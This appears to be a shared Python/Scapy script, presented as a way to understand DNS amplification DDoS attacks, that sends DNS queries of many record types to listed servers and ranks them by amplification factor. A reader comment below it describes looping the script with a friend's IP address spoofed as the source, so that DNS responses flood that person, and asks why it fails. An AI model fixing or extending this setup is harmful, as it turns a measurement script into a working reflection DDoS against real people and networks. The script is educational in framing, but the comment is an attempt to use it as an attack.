Better understanding DNS Amplification DDoS attacks through Python and Scapy.

dns_amplification.py

# Imports
from scapy.all import *
from pprint import pprint
import operator

# Parameters
interface = "eth0"                      # Interface you want to use
dns_source = "local-ip"                 # IP of that interface
dns_destination = ["ip1","ip2","ip3"]   # List of DNS Server IPs

time_to_live = 128                                                                 # IP TTL 
query_name = "google.com"                                                          # DNS Query Name
query_type = ["ANY", "A","AAAA","CNAME","MX","NS","PTR","CERT","SRV","TXT", "SOA"] # DNS Query Types

# Initialise variables
results = []
packet_number=0

# Loop through all query types then all DNS servers
for i in range(0,len(query_type)):
    for j in range(0, len(dns_destination)):
        packet_number += 1

        # Craft the DNS query packet with scapy
        packet = IP(src=dns_source, dst=dns_destination[j], ttl=time_to_live) / UDP() / DNS(rd=1, qd=DNSQR(qname=query_name, qtype=query_type[i]))
        
        # Sending the packet
        try:
            query = sr1(packet,iface=interface,verbose=False, timeout=8)
            print("Packet #{} sent!".format(packet_number))
        except:
            print("Error sending packet #{}".format(packet_number))
        
        # Creating dictionary with received information
        try:
            result_dict = {
                'dns_destination':dns_destination[j],
                'query_type':query_type[i],
                'query_size':len(packet),
                'response_size':len(query),
                'amplification_factor': ( len(query) / len(packet) ),
                'packet_number':packet_number
            }
            results.append(result_dict)
        except:
            pass

# Sort dictionary by the amplification factor
results.sort(key=operator.itemgetter('amplification_factor'),reverse=True)

# Print results
pprint(results)

Hello, I need to write a scapy script for school that represents a DNS amplification attack. If i put your code in a loop and use the IP address of my friend he doesn't receive anything. As interface I set my WIFI interface and dns source, my friends IP address. I'm interpreting this wrong because my friend doesn't see anything of DNS responses. Could it be my network that blocks this traffic or would it be my code that isn't correct. Has anyone ideas on how to solve this problem?